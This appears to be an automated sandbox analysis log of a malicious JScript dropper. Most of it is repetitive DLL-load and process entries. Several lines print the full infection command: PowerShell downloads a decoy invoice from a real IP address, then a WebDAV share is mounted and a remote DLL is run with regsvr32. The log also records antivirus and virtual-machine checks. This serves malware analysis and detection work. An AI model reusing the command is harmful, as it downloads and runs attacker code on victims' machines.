Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4044.js.csv");ITextStream.WriteLine(" entry:8010 f:radrmbw");ITextStream.WriteLine(" exec:2 f:radrmbw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4208			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5655			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4640	Thread sleep count: 4208 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4640	Thread sleep count: 5655 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4340	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7488	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1240	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1310602693.000001EF94076000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1310602693.000001EF94018000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2556618956.0000016F5F62B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2557933676.0000016F64C58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1310602693.000001EF94076000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
